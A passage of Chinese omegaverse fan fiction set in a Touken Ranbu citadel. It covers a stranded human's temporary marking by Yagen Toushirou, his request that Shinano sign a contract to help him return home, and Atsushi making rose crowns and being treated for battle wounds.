只不过罕见的他竟带上了一副眼镜,镜片模糊了紫眸中的距离感,看上去比平时更加柔软。 “感觉怎么样?有没有哪里不舒服?” 他声音平静,仿佛昨夜什么都没有,并没有发生什么过分的事情。 真坏。 鹤见悠纪张了张嘴,却发现自己喉咙干涩,干脆闭上嘴,没有发声。 他看着对方一步步走近,在感受到那股熟悉的味道的时候,身体竟然下意识放松了。 “我我感觉身体还好,就是我的嗓子……是因为昨天的高烧吗?” 鹤见悠纪勉强挤出声音,但还是有些难受的揉了揉喉咙。 药研藤四郎在他身边坐下,“慢慢来,嗓子不舒服的话就少说点吧,喝点水。” 他顿了顿,看见了omega通红的耳尖,也默默红了。 趁着鹤见悠纪喝水的时候,药研藤四郎开口了, “在接下来的时间,雨露期结束之后,你的身上仍然会带有我的信息素,标记本身也会对其他的alpha发出信息警示和排斥。 这段时间我会尽可能的陪着你。 被标记的omega会对标记自己的alpha产生依赖的情绪,如果有这种感觉的话,请随时叫我,这都是我的责任。” 他冷清理智的解释着,他知道自己不占理,只希望能用行动减少omega因为标记而产生的后果。 只是可惜,鹤见悠纪与本丸的契约尝试又要推迟了。 鹤见悠纪没听明白,他心中平添一份迷茫,药研藤四郎的态度实在太平静了,也带着他紧张不起来。 他表现得实在是太正常了,仿佛昨晚那个紧紧抱着他咬上后颈注入信息素的人只是自己的幻觉。 “那、那契约的事情呢?” 鹤见悠纪抬起头,声音很轻,虽然混乱很多,他仍然没有忘记自己最关心的问题。 他不知道突发意外的雨露期是否会给他的回家计划带来什么麻烦。 听到这个问题,药研藤四郎放在膝盖上的手指几不可察的卷曲了一下,镜片后的眼睛和鹤见悠纪对视,没有移开,房间里安静下来。 过了几秒,药研藤四郎才缓缓开口,声音比刚才更低了些, “过几日就好了,离开这里也要先养好身体,对吧?标记会让你的身体虚弱,会带来影响,如果因此让契约失败的话,就太可惜了。” 是自己的错,如果不是标记影响,雨露期结束就可以的。 鹤见悠纪接受了他的解释,确实,如果他在离开这里之前把身体搞垮了,那就不好了。 只是再多等待几天而已,他等得起。 但他还是垂下眼眸,掩饰般遮住眼底的失落,低低的嗯了一声,药研藤四郎看着他瞬间黯淡下去的神情,眼眸深处掠过一丝复杂的情绪。 “先吃点东西吧,”付丧神将托盘上的碗端起,向鹤见悠纪的方向推了推,“标记虽然能够缓解雨露期带来的不适,但是对你的身体仍旧需要补充体力。” 鹤见悠纪接过碗,小口小口的喝着,温度适中的米饭口感温和,药研藤四郎的信息素更是如影随形,对于刚被标记的omega来说,没有什么比alpha在身边更让人安心的了。 但鹤见悠纪不一样。 他只是单纯喜欢药研藤四郎的信息素,甚至闻着这味道吃饭都吃的更香了。 “然后关于你的身体状况和诅咒所关联的相关信息,应该让你知道一些,” 药研藤四郎等他吃的差不多接回碗,才再次开口。 鹤见悠纪眨了眨眼睛,之前还死活不告诉他的,结果一个雨露期就要全部抖出来了吗? 他按下心中的吐槽,认真听课。 药研藤四郎开始耐心诉说,不论是当下必须知道的alpha和omega,就连并未存在于两人之前的beta的信息他也全盘托出。 鹤见悠纪听着,眼睛慢慢睁大,陌生的词汇和世界观冲击着他原有的认知。 没想到一个诅咒,竟然背后还藏着这么多情报。 所以大家才会在看见自己的时候有所反应,所以药研藤四郎之前才会那么痛苦,所以自己现在才会那么想做那种事情。 他像个一无所知的傻瓜。 “之前怎么不告诉我呀?” 果然还是耿耿于怀。 “怕你知道了会恐慌,感到难受,但是现在的情况不告诉你的话,你应该会很难受。” 药研藤四郎摸了摸他的脑袋,已经经历过雨露期并且和自己有了临时标记这样关系的omega,不应该是一无所知的。 “最开始是这样,但最后也是找不到合适的时机,你既然要离开了,那就没必要知道这些没什么用的知识。” 还有他的私心…… 鹤见悠纪消化着这些信息,过了一会儿,他才小声问道,“那这个临时标记,什么时候才会消失呢?” “半个月之后。”药研藤四郎叹了口气,“效果会随着时间推移逐渐减弱,但也只是一个大致的事情,会根据个体差异有所变化。” 鹤见悠纪若有所思的点了点头,他看着药研藤四郎觉得有些怪异。 刚刚对方反复告诉自己被临时标记之后会对标记自己的alpha产生一种依赖,但是他总觉得自己和平常没有什么区别…… 窗外阳光怎么这么刺眼,药研藤四郎竟然忘记关了窗户吗? 他有些不开心地撇了撇嘴,伸出手指戳了左付丧神的手腕,看着对方疑惑的神情,变得更生气了。 “太阳太大了,关一下窗户。” 善良的omega还是耐下性子解释自己需求,看着alpha猛的起身认真将窗户关好,连窗帘都拉上了,房间内顿时陷入一片昏暗才开心起来。 不对。 “……” 鹤见悠纪忽然慢一拍反应过来,自己好像有点太过于矫情了。 既然太阳太刺眼的话,那他起来将窗户关上,别完事了,为什么一定要药研藤四郎去关呢? 他严肃的思考着,难道这就是自己被临时标记之后出现的影响? 不是依赖,而是变得矫情起来。 “现在好些了吗?”药研藤四郎又坐了回来,“抱歉,是我没有想到这些让你难受了。” “……” 鹤见悠纪不再说话了,生怕自己一开口又开始挑刺。 药研藤四郎见他不说话也同样沉默着,空气陷入寂静,很快游离的目光就落在omega因为紧张而紧紧攥紧被单的手指上。 纤细又微微泛着点红,漂亮极了。 喉结滚动,眸色渐深。 鹤见悠纪在认真消化刚刚得到的信息,想着想着他突然皱眉,“药研,既然有临时标记,那应该也有永久标记吧?” “嗯? 药研藤四郎的视线还停留在他的手上,闻言抬起头,慢一拍道, “……是有的,这种方法更彻底,但需要做的事情更亲密。” 怎么突然问起这个,他蠢蠢欲动,想将少年的手握在手心。 “比亲吻还亲密吗?” “要到什么程度呢?” 听见疑问,药研藤四郎抬头和少年单纯的目光对上,他张了张嘴—— 作者有话说: 第28章 “咳咳咳咳——!” 药研藤四郎被他的话吓得一个激灵,看着鹤见悠纪单纯的眼睛,一时张嘴也不是不张嘴也不是。 永久标记, 需要狠狠插进omega的身体内,然后成结。 嗯。 成结。 虽然不知道他有没有这个功能。 药研藤四郎严肃思考。 虽然是生理知识,但其中蕴含的暧昧又过界的意味实在浓重,特别是眼前的omega身上全然带着自己的气息…… 要让他在现在的情况下说出口来。 药研藤四郎眼皮跳了跳,移开视线, “没事的,这点知识你不用了解,反正也用不上的,真的。” 他做了那么多的心理建设,在现在,又崩塌了。 鹤见悠纪本来没有那么好奇的,但是药研藤四郎逃避的样子让他的好奇心瞬间达到了顶峰。 再加上被拒绝时心中莫名生起的委屈,他伸出手,主动靠近勾住付丧神蠢蠢欲动的手指,轻轻的晃了晃,“可是我好想知道啊,既然已经告诉我那么多了,那这点小事情再告诉我也没关系的吧?”直接挠在对方手心,就像猫爪子一样,挠得人心痒痒。 药研藤四郎不可置信的看了他一眼。 却又知道omega在被自己标记的情况下会做出这样的动作是很正常的,他喉结滚动,不敢面对这样的亲近,又不忍心转过头去让鹤见悠纪伤心,“……等、等以后有所需要的时候我再告诉你也不迟,你把手收回去好不好?” 他这么说着,明明可以自己将手收回来,却完全没有动作,只用一种罕见的可怜兮兮的眼睛看着鹤见悠纪。 鹤见悠纪觉得有趣。 他撇了撇嘴,变本加厉,另一只手撑在床榻上,上半身向药研藤四郎靠近,“真的吗?真的有那种时候吗?那这样的话,我很期待呢。” 少年的声音软软的,又因着对事情不甚清楚而显得单纯无辜,药研藤四郎却是将永久标记需要做什么事情一清二楚,现在对着这张脸,牙齿打着颤,都不敢和他对视了。 临时标记之后的omega怎么比他想象的还要主动,还让人无法拒绝。 不行,不能一直被诱惑,他必须要反击。 药研藤四郎眸色晦暗,他抿唇,收回被扣住的手指,猛地起身抓着一边的托盘几乎是冲了出去。 是的,他逃了。 鹤见悠纪看着被冲开后变得摇摇欲坠的门以及空荡荡的房间,无辜地眨了眨眼睛。 其实他大概猜的到是做哪种事情。 但是当对方将信息素注入自己的身体之后,他就有些忍耐不住的想要逗一逗眼前这个冷静自持稳重可靠的alpha。 这算什么? omega的潜在恶劣基因吗? 一天之后,雨露期彻底结束,鹤见悠纪无聊地坐在窗户边抱着那本没有看完的书发呆。 对待不感兴趣的内容他实在是没法让自己沉浸其中。 虽然雨露期结束了,但是药研藤四郎仍旧以标记没有消去的理由将他留在了这里。 不用在暗沉沉的房间里一个人睡觉他也乐的,便就答应了。 不过,今天药研藤四郎罕见的没有出现在自己面前一直晃。 奇怪。 听见清脆的敲门声鹤见悠纪以为是药研藤四郎,便头也没抬, “进。” 进来的人轻手轻脚关上门,没有说话,一直沉默着。 鹤见悠纪疑惑的抬头,他看见来人有些意外,沉默片刻还是小心谨慎着开口, “怎么是你?你来这里做什么?” 信浓藤四郎轻轻咳了两声,放在身后的手指缠绕,都不好意思抬头, “那个、之前对不起,因为我你才雨露期变得那么难受……明明我本来就是去道歉的。” 他深吸一口气,眼中闪出几分光亮,像是下定了什么决心,大声, “你有什么需要我做的事情吗!” 他想要帮助眼前的少年作为自己做错事情的赔礼,与其随便就做什么事情,还不如对症下药,做点实质性的帮助。 所以他来了。 “没有哦。”鹤见悠纪现在心情很好,他认真思考一番,“其实也没有太大问题啦。” 雨露期除了那以外的炙热和滚烫以外,他并没有受到其他的伤害,虽然确实因为眼前的付丧神自己在第二日突然变得更加严重,甚至到了让药研藤四郎都选择了临时标记的程度。 只不过他忘性大,现在也确实没有什么需要的。 他想要回家,然而回家的所有事药研藤四郎都一手包揽了,哪还有别的事情。 信浓藤四郎闻言有些失落,他看了看周围,很快视线落到鹤见悠纪手上的书上,瞬间来了精神, “你对这些书感兴趣吗?我也有很多——” “啊?不用,”鹤见悠纪连忙拒绝,“我对医学一点兴趣都没有,只是药研这里只有这种书而已总不能干坐在这里发呆,就看书打发打发时间,你可别再给我拿了……” 看着信浓藤四郎执拗的眼睛他无奈叹了口气,柔软的紫色眸子闭上又睁开,他服了。 “怎么还有人上赶着在做事情啊,唉,你让我想想啊……” 少年的声音清浅,又显出几份无力来。 身影清瘦,他坐在垫子上,靠在桌子边,握着书本的手腕纤细又柔软,两只手指环绕都显得空余。 信浓藤四郎听着少年的话,脑海中突然生起想法……药研藤四郎真的有好好的养这个人吗? 他知道另一个自己会给眼前的少年送来食物,但在现在的自己不再送来餐食之后…… 咳。 他当然是信任自己的兄弟的,但是事实摆在眼前,少年的身体变得更加瘦弱了。 果然还是得让他来喂才行吧! 信浓藤四郎愤愤的想着,秘藏之子就算是养人这方面也是不会落后的。 鹤见悠纪看着付丧神突然变得斗志昂扬,迷茫一瞬又懒得思考,他合上书本,扶着桌子站起身来。 他刚刚想到了。 眼前的家伙也是付丧神,他要回家的话必须要和本丸和付丧神签订契约,万一等本丸这一项通过了药研藤四郎反悔了呢? 药研藤四郎肯定不是这样的人,嘶,但是万一……越想越觉得需要提防一下这个万一。 既然想要补偿自己的话,那…… 在心中给自己打了打气,他走到付丧神的面前,离得近了,便也闻到了对方身上属于alpha的气息。 膝盖软了一瞬,他的身子瞬间晃了晃。 信浓藤四郎被他吓了一跳,猛地伸出手扶住少年的肩膀,鹤见悠纪不安伸出的手也顺势抓在了付丧神有力的臂弯上。 “你要是还不舒服的话,就先坐着吧,不用硬撑着一定要站起来的。” 信浓藤四郎僵着身体努力保持平静。 鹤见悠纪身上甜蜜的omega信息素,以及若有若无但切实存在并刺激着他的药研藤四郎的信息素都在让他左右横跳。 好香……yue……好香……yue……好香……yue……好香…… 信浓藤四郎在心中泪流满面,这就是传说中的冰火两重天嘛! 被alpha临时标记过的omega的身上散出的属于别人的气息让他控制不住产生攻击欲。 但是omega的信息素又让他不自觉的想要靠近,更何况眼前的omega还是这样一副柔弱的模样。 太难受了。 单纯坐久了的鹤见悠纪疑惑的看了他一眼。 自己哪里看起来勉强了? 他摇了摇头,便不想这些事,抓住付丧神落在一边的手,声音柔和, “真的我有什么需要你都会帮助我吗?” 信浓藤四郎没有拒绝他的动作,反而主动回应,两只手虚虚的牵在一起,没有用力。 “当然,只要是我能做到的。” 不论是另一个自己,还是现在的自己,都给眼前的少年带来过麻烦。 做错了事应该道歉。 而鹤见悠纪遇到的麻烦里,他信浓藤四郎肯定有能派上用场的地方。 没有他就让自己变得有。 鹤见悠纪低头瞧了一眼,手指更往里钻了钻,笨拙地试图让付丧神心软。 他要提出的请求很过分,或许不是一个道歉的理由就能让对方愿意的。 只不过他没有筹码,那就只能赌心。 鹤见悠纪,现在要做一个坏人。 而让人心软这种事情,他已经从药研藤四郎那里获得丰富的经验了。 鹤见悠纪缓缓抬头,声音低落,“你应该知道的,我是误闯入这座本丸的。” “嗯。” 信浓藤四郎点头,他确实知道这个信息,那夜后藤藤四郎有和他好好谈谈。 被牵着的手心突然被勾了勾,信浓藤四郎身体被激得一颤,他看向眼前的少年,却未曾从对方的脸上看出任何破绽。 ……是不小心碰到的吗? 是了,毕竟两个人的手牵在一起,如果对方想要换一个牵手的姿势的话,确实会不小心碰到手心的吧。 不知道是不是他的错觉,空气中的omega信息素好像比刚刚更明显了,几乎要将让他感到排斥的药研藤四郎的信息素全然盖过。 “那,” 鹤见悠纪另一只手掐了一把自己的大腿,眼睛瞬间变得湿漉漉,显得更加弱势 “那你可以帮帮我吗?我想回家。” 疼死了—— “有什么需要我做的吗?” 信浓藤四郎眼都没眨就接了话,他边说着边抓起鹤见悠纪垂下的那只手,紧紧握在手里。 为什么眼前的人类要突然掐自己一把呢?难道他不会感到疼痛吗? 还是说他喜欢? 付丧神没有开口询问,而是认真记下这一点。 “药研告诉我,如果成为审神者就能被时政找到,但是成为审神者的话一定要有付丧神才行,”鹤见悠纪停顿,“……信浓的话,愿意和我签订契约成为我的付丧神吗?” “……!” 他们的进展是不是有点太快了! 沉默片刻,信浓藤四郎在心中思悼究竟怎样才会不显得过于急切。 鹤见悠纪见着他没有什么变化的神情,以为他要拒绝,连忙补充,“当然,等我回去之后,我会立刻解除契约让你恢复自由身的。” 不用解释他都知道审神者和付丧神的关系必定是带有驱使性质。 签订契约大概率会限制对方的行动吧,如果是喜欢自由的付丧神…… 信浓藤四郎想要否定,又突然清醒过来。 是的,他总不能丢下自己的兄弟独自获得新的大将,既如此必是需要解除契约的。 他沉默地握紧少年的手,声音明显低落,“那等你有需要的时候就来找我吧,如果不明白,我会告诉你的。” 那些刻在付丧神脑子里的东西,可不会因为暗堕就全然忘却了。 但就是不知道为什么,心中有一丝淡淡的别扭。 信浓藤四郎莫名其妙的来了,然后又莫名其妙的离开了,但离开的时候还承诺下次来的时候会给他带来些有趣的书。 ……也行。 鹤见悠纪在原地站了一会儿,他看着门口静了一会。 话说…… 药研藤四郎的屋子怎么比他的房间还容易让别人进来? 他越想越不得劲。 于是等到药研藤四郎回来的时候,便迎上鹤见悠纪不开心的眼神, “你怎么走的时候都不锁门?” 房间本来就没锁的药研藤四郎:“?” 他迟疑的看了一眼门:“那我明天把它也换成铁的吧。” 鹤见悠纪还是不爽,他也不知道自己为什么不爽,干脆不理他了。 药研藤四郎一头雾水,但身体已经一切脑子一步行动了起来。 他黏黏糊糊的走到omega身边,身上alpha的信息素顺着缠绕了过去,和他可靠强壮的主人不一样,撒娇一般地哄着。 鹤见悠纪莫名其妙的气来的快,去的也快,他和药研藤四郎说一声后拖着自己软了三天的骨头向外面走去。 寂静的走廊还如同往常一样,他无聊的左看右看,随机推开一扇门都是毫无变化的空荡荡。 正是无聊,在路过庭院时,他却意外的看见一片一片的鲜艳的花—— 作者有话说:(没有花,用裤衩形象表示一下) 明天上夹子,更新会推迟到晚上十一点,其他时候不变,有事回会写请假条 第29章 就像变魔术一样,原本荒凉的庭院周边种满了花。 而站在花丛中央露出一个刺挠的头顶的人,是厚藤四郎。 嘶。 鹤见悠纪现在看见厚藤四郎,脑海中就是之前自己门前不绝于耳的挣扎声。 虽然他很犹豫,但很快,站在这里的鹤见悠纪就被敏锐的付丧神发现了。 鹤见悠纪眨了眨眼,还是主动出声问道,“你在这里做什么?” 厚藤四郎站起身,他伸出手,展示手中的东西,鹤见悠纪被他的动作吓得条件反射向后一退,但映入眼帘的不是他想象中的血淋淋的骨肉,那是一个漂亮的、由盛开成艳的花朵编织出来的花环。 他有些语塞。 “……你还会做花环啊?” 这并不是多么难的东西,但是放在面无表情像个冰块一样的厚藤四郎身上就显得稀奇起来。 “嗯。” 厚藤四郎低头看了看手中的花环,视线又落到鹤见悠纪的身上,最后停留在少年头顶。 他不说话,就这样定定的看着手上托着那顶花环。 鹤见悠纪被看的浑身鸡皮疙瘩都要起来了,再次感叹面无表情的付丧神其实还是有点可怕的。 他深呼吸,开始解析厚藤四郎动作的含义。 厚藤四郎本人浑身干干净净,而庭院里突然出现不正常的花丛,没有像以前一样打扫得血淋淋的还开始编花环,至于视线……视线看着自己的头顶? 他瞬间悟了。 而后警惕的护着自己的头发后退,“你不能因为自己头发短就嫉妒我有长头发吧,试图用带刺的花扎我的头皮是不对的哦。” 整个庭院里的花种类繁多到可怕,然而厚藤四郎手中的花环全是带刺的玫瑰,或者是月季?他分不清。但盯着他的头顶可没用,他可不会因为盯着就给带的。 厚藤四郎听了他的控诉低头看向自己的手中,他弄这些刺挠的植物时潜意识就绕过了尖刺。 就因为这样的潜意识反而让他没有反应过来自己手中的花环上全是尖刺,虽然很漂亮,但跟个刑具没什么区别。 “我没想扎你。”厚藤四郎声音淡淡的,“这是红色的,好看,很适合你。” 付丧神的视线落在少年的脸上,白皙的皮肤透着几分健康的血红色,一双圆润的紫色眼眸警惕地看着自己,灵动又有趣。 那些时间溯行军带来的最美的东西就是瞬间发芽的花种。 而少年更是美丽,美丽的存在适配漂亮鲜艳的花。 鹤见悠纪莫名地从这短短的话语中听出几分委屈来。 身边的温度莫名降了下去,熟悉的冷冷的水汽的气息开始蔓延,厚藤四郎一言不发,低着头将花环上的刺一个个掰下来。 很快铁锈味在空气中弥漫,厚藤四郎闻惯了这种味道没有什么反应,只是看了一眼自己的手指,回头将花环上滴落的鲜血擦干净。 既然是送给鹤见悠纪的花环,当然不能被血给弄脏了才是。 鹤见悠纪被冰冷的信息素包裹,等对方将处理好的安全无害的花环递到手里的时候才看见付丧神大拇指处一道长长的豁口。 他眼皮一跳,抓住厚藤四郎要缩回去的手,“刚刚还没有的,怎么突然——?” 他立刻和自己手中原本充满尖刺的花环联系上,立刻消了音,眼神复杂地看了一眼付丧神。 叹口气的时间就果断抓着人往药研藤四郎那边走去,他记得药研藤四郎那个药箱里的药可多了,就算没有,给伤口消个毒也不是不行。 “这么快就回来……”药研藤四郎听见动静无奈抬头,下一句话语憋在喉咙。 他疑惑的看着厚藤四郎,“他怎么了?” 鹤见悠纪将花环放在药研藤四郎的面前,又按着厚藤四郎在原本属于自己的位置坐下,严肃道,“这家伙徒手掰刺,一下子划破了手,血都止不住,他还偏偏不当回事。” 药研藤四郎顺着他的视线看向那个艳丽的花环,本就带刺的玫瑰在变成花环之后上面的刺更是变的又近又多,就算现在都没有了,刺被掰去后留下的痕迹也能瞧出原本多么密集。 他想告诉鹤见悠纪那点伤口对于付丧神来说,确实不算些什么,但是看着少年严肃的脸,他就闭了嘴,不敢开口了。 默默的拿来药箱,默默的从药箱中找出能用的东西,放到鹤见悠纪的手边。 鹤见悠纪跪坐在厚藤四郎身边,认真的用棉签将血迹全部擦去,然后消毒上药,最后缠上创口贴。 因为一个创口贴的面积不够用,他还采用了创口贴拼接法,硬生生让伤口都接触不到一点胶面。 纱布不知道是不是本来就没有,他没找到。 等认真的做完一系列事情,他才松开眉头,快乐的拍了拍手,“好了,现在就可以了。” 厚藤四郎谁不明白他为什么要这么紧张的处理这么小的伤口,但是看着被包扎好的手指,他还是沉默着没有说话。 鹤见悠纪也不指望他给自己反馈。 这家伙说不说话完全看概率,而且说话的时候也毫无感情,完全靠字面意思来猜。 药研藤四郎看弄完了就帮着收拾用掉的垃圾。 其实……伤口真的很小,不过鹤见悠纪只是一个在和谐社会生活的人类,他本身就见不得血。 药研藤四郎无奈又偏袒地想着,心善是好事。 等他心情很好地将药箱放好再回来的时候,抬头就看见沉默不语的厚藤四郎将放在桌子上的花环,固执地戴上了鹤见悠纪的头顶。 皮肤柔软白皙的少年眼中多出几分惊叹,嘴巴微微张开,黑色的发丝头顶上鲜艳的红色玫瑰更是衬得人分外美丽。 鹤见悠纪有些意外,这家伙得让自己带上花环,这件事情竟然这么坚持,他抬手拍了拍厚藤四郎的手臂,好笑道,“好了,戴好了吗,我去照镜子看看。” “来。” 他话音落下,药研藤四郎已经把镜子递到了他的手中,平静的紫色眼眸中翻过一丝涟漪,“很漂亮,红色很适合你。” 玫瑰也是。 “谢谢。” 鹤见悠纪听他这么说,瞬间对自己的样子生起了无限期待。 但举起镜子头左摇右摇,看着镜子里的自己却并未生出几分惊艳,止不住地嘟囔, “都怪你们,把我的期待值拉高了,现在都觉得不够好看了。” 药研藤四郎笑了笑没有接话,厚藤四郎摸摸摸了摸自己被包扎好的手指,他认真地看着鹤见悠纪, “很漂亮,特别好看,你喜欢吗?” “喜欢呀。”鹤见悠纪放下镜子,“说起来,这还是我第一次带花环呢,这种东西……” 一般来说,也没谁想得到让男孩子来戴吧? “喜欢就好。” 厚藤四郎不在意那些。 他看着他,心中又开始思考种些什么花。 那片荒芜的庭院,不利用起来总觉得不够,那是他和眼前的少年第一次见面的地方,不能一直都荒凉着。 他希望那里变得越来越漂亮。 也让眼前的少年变得越来越有活力。 “大将,” 又这样叫他了,鹤见悠纪在心中记下,而后抬起眼看向付丧神。 厚藤四郎:“你有什么喜欢的吗?” 喜欢的? 他对花朵倒是没有什么偏爱的,但是看着眼前付丧神的眼睛,他还是随口说了一个,“月季吧,月季和玫瑰挺像的,而且也很漂亮。” 刚刚在那些鲜艳的花朵中他好像也没有看见月季,也不知道是否是因为和玫瑰长得太像,隐藏在其中了。 “好。” 厚藤四郎的视线又放在了鹤见悠纪的头顶,鲜艳的红玫瑰不一会儿已经和凌乱的黑色发丝融合在了一起,漂亮的绿色的质感更是和白皙的皮肤强硬得当。 omega甜蜜的信息素若有若无,美好的、干净的omega没有任何防备心, 鹤见悠纪雨露期和厚藤四郎的易感期都已经过去,但是在嗅闻到这样美味的气息的时候,脑海中却仍旧欲望翻滚。 暗堕和诅咒一拥而上。 鹤见悠纪没有看出他的不同,只是上前在确认了一番厚藤四郎的手指,在周边没有再看到血印子之后就放他回去了, “再要编花环的话一定记得先把刺给剃掉,不然不论是你的手还是我的脑袋都会受不了的。” 厚藤四郎乖巧, “我记住了。” 下次一定会有更漂亮的花环。 厚藤四郎的视线随着鹤见悠纪移动,他看着仔细嘱托自己的少年,不再像第一次见面时那样警惕,也不像后面总是一副离开他的模样。 这一次是对方主动想自己拉过来,主动和自己交谈,还主动给他的伤口上药包扎。 厚藤四郎静了片刻,他总结: 一个漂亮的花环就可以得到“大将”的在意。 这是稳赚不赔的买卖。 少年哪里都好,人是漂亮的,信息素是好闻的,就连性子也是极有耐心的,唯一不好的就是…… 厚藤四郎在甜蜜的信息素中敏锐捕捉到属于药研藤四郎的alpha信息素,他微不可察地蹙起眉头。 如果掺杂在其中的是自己的信息素就好了,如果做下临时标记的是自己…… 那现在的鹤见悠纪就是完美的。 他闭了闭眼睛,再次睁开眼,面无表情的挣开他的手,“……我先回去了。” 自己什么有用的事都没为鹤见悠纪做过,又怎么能肖想那样过分的事情? 鹤见悠纪满头雾水地看他推门离开,然后低头看向自己有些红红的掌心,撇了撇嘴,还没难受药研藤四郎温柔的掌心和冰凉的药水已经覆了上来。 药研藤四郎皱着眉吹了吹,轻柔的风让手指不由自主地缩了缩,他握着鹤见悠纪的手。 虚虚的,没用力。 “真是的,这家伙没轻没重的。” 药研藤四郎替他不满。 鹤见悠纪愣愣回应,“……没关系。” 药研藤四郎叹气,“下次我帮你打回来,免得你打他手疼。” 边说着边若无其事地将鹤见悠纪头上的花环取了下来。 鹤见悠纪当做没看见他的小心思,被这话说得想笑,不由得勾起嘴角, “好呀~”—— 作者有话说:这章是满满的“情人眼里出xx” 第30章 将一切都准备就绪之后,鹤见悠纪开始了无聊的等待,除了吃饭睡觉就是在本丸中无聊地到处溜达。 本来按照药研藤四郎的说法,在临时标记没有彻底消除之前对方应该都要跟在他身边,但是鹤见悠纪仔细感受后发现好像并没有那么需要的时候就义正言辞的拒绝了。 身边总是跟着一个人什么的,也太没有自由了吧? 药研藤四郎也没有勉强,随着他去了,只是再三强调着,若是需要,又或者发生什么事情的话,请一定要呼唤他。 鹤见悠纪乖巧的听着,也放入了心里,但是他并不觉得除了晚上的时间溯行军以外,还有什么事情需要叫药研藤四郎。 虽然说无聊,但是走着走着鸡汤来回他便发现厚藤四郎就像一个定点NPC一样长在了庭院里,周遭有土壤的地方全都被点上了花朵的影子,自己上次所说的喜欢的也很快加入了之前鲜艳的花丛中。 其实鹤见悠纪分不清玫瑰和月季这两种花,它们实在是像得可怕,而且月季比起真正的玫瑰更像大众意义上认知里的完美的玫瑰。 就着对破碎的本丸中突然出现这样充满活力又鲜艳色彩的东西的好奇心,鹤见悠纪总是凑近了看着厚藤四郎在花丛中忙来忙去。 鹤见悠纪甚至有些惊叹,明明是刀剑付丧神,却反而对园艺这类事情这样熟练。 他问出口了。 厚藤四郎头也没抬,“因为佃当番也需要种花,花朵足够多的话,大概率接下来一段时间都会有很多那样的花。” 鹤见悠纪反应了一下。 对应到游戏里应该是指景趣,只不过,看来在实际的本丸中想要改变本丸的景趣比游戏中要更加轻松许多。 “那田地里还会种些什么植物呀?” “水稻,小麦,青菜之类的,能吃的东西都会试试吧。”厚藤四郎迷茫着回忆,语气中带着几分不确定。 鹤见悠纪若有所悟地点了点头,正想在问些什么,便被一边藏在花丛中的绿色的小东西带走了注意力。 那是一朵四叶草,有人说如果在一堆三叶草中找到一枚四叶草的话就会得到幸运,他有些惊奇的将其翻了出来。 一堆鲜艳的花丛中一抹绿色显得极其微不可察,鹤见悠纪拉了厚藤四郎过来看,他笑着,“说不定接下来会发生什么很幸运的事情呢。” “……嗯。” 厚藤四郎没信,但还是顺从的应了一声。 他来到这座本丸之后发生的最幸运的事情就是遇到眼前的人类了。 暗无天日的过去,只有四个兄弟在这座本丸中,白天各自独处,晚上就和时间溯行军战斗,日复一日,年复一年,从来没有任何变化。 人类的存在或许也没有带来什么变化。 他没有在一瞬间就消除他们的暗堕,也没有在一瞬间消除诅咒,抑或是让他们重新变得正常…… 但是他本身的存在,让这座犹如一潭死水的本丸活了起来,便已经足够了。 厚藤四郎摸了摸被夹在耳边的四叶草,看着少年松开手轻松的哼着歌躲到一边观察鲜花的模样默默的想着。 鹤见悠纪看他的样子,还以为他喜欢四叶草,瞬间鼓起劲在花丛缝隙间观察,毕竟有一朵四叶草的话,肯定也有它的子子孙孙四叶草吧。 但是很遗憾,他没有再找到,幸运只有一份。 这件事表面上也就作罢了,但鹤见悠纪接下来的日子还是在暗戳戳寻找着。 但是今天漂亮又充满阳光的庭院中有一丝不寻常,一跨入这片区域刺鼻的铁锈味就已经直冲鹤见悠纪的天灵盖。 他脚步顿了顿,嘴角轻松的微笑瞬间垮了下来,他找到铁锈味的源头,是厚藤四郎。 其实根本就不需要寻找,付丧神浑身都是血的样子,在干净明亮的庭院里像个活靶子。 以前付丧神总是打扫战场,将自己的双手变得血淋淋的,但那样的冲击远比不上现在的样子。 他上身只着一件白色的衬衫,破破烂烂裂开了许多口子,身上更是大大小小数不尽的伤口,甚至有些明显的还在往外流出红色的液体。 “你、你这是怎么了?” 鹤见悠纪被吓得一瞬间几乎失声。 他猛地走到厚藤四郎的面前,双手颤抖着停在空中,不知触碰哪里。 厚藤四郎看见他,一如既往想要将手中新的手工作品递到少年的手上,然而在触碰到少年炽热担忧的眼神时,他忽然停在了原地。 他识趣又乖巧地回答,“昨夜和时间溯行军战斗的时候不小心受了点伤,但是很快就会好的,不会耽误我做花环,也不会耽误我种花。” 他会种出更多更漂亮的月季。 少年喜欢这种花,他答应下来了,他就会尽全力。 “现在可不是说这种话的时候啊,” 鹤见悠纪没听懂他的潜意思,他知道付丧神情感淡漠,却没想到他连对自己的身体状况也这样无所谓。 “你怎么不处理一下伤口?像这样晾着万一发炎化脓了怎么办,我去找药研来给你看看。” 药研算半个医生,手上也有药品,叫他来处理厚藤四郎现在的状况再合适不过。 厚藤四郎没有拒绝,他顺从少年的安排,又对身上的伤口不以为意。 但等到药研藤四郎过来时,看到厚藤四郎现在的样子都不由得皱起了眉头,“……怎么回事?” 他这几日都在鹤见悠纪的身边,害怕标记的omega在夜晚不安,所以他没有去参加战斗,竟不知道厚藤四郎变成了现在这副样子。 在从前,受了伤进入手入室或者由建立契约的审神者亲手治疗都是极为恰当的,但是在现在的条件下,他们只能使用最原始的治疗方法。 看着厚藤四郎无动于衷的样子药研藤四郎眉间紧皱。 带着人在一边凳子上坐下,脱下外套,精瘦的上身瞬间显露出来,比起身上薄薄的肌肉显出的力量感,更让人惊骇的是那些衬衫遮掩下秘密麻麻的伤痕。 甚至这家伙的肩膀都被捅穿了,竟然刚刚还一脸没事人的样子在花丛中走来走去,甚至…… 鹤见悠纪看了看自己手中的花环上面,甚至没有带一点血液的痕迹,这家伙究竟是怎么做到的?明明看起来那么可怕的伤痕,明明身上流出了那么多的血,却还若无其事的在那里编花环。 甚至花环上面没有一丝血液的痕迹……上次明明划破手…… 鹤见悠纪突然想到某种可能,又连忙打消这种自恋的联想。 这次就不他能处理的伤势了。 他认真地等在一边,看着药研藤四郎给厚藤四郎处理伤口。 明明瞧着就难受的厉害,但当药水落在伤口上的时候,厚藤四郎连连眉头都没扎一下,就好像没有痛感一样。 对比得旁边幻痛得快呲牙咧嘴的鹤见悠纪显得搞笑起来。 “要不你这些日子晚上就别去战斗了,这么粗心……受了这么多伤,按照你的实力不应该。”药研藤四郎一边处理一边问他。 厚藤四郎歪了歪脑袋,“战斗还是要去的,不小心被枪戳了一下,但是没关系的。” “这看起来一点都不像是没关系的样子,别说那个洞了,身上其他的伤口看起来也不是寻常的事情。”鹤见悠纪一直皱着眉头,没有松开过,“难道是昨天晚上的敌人分外强大吗?让你感到棘手了。” 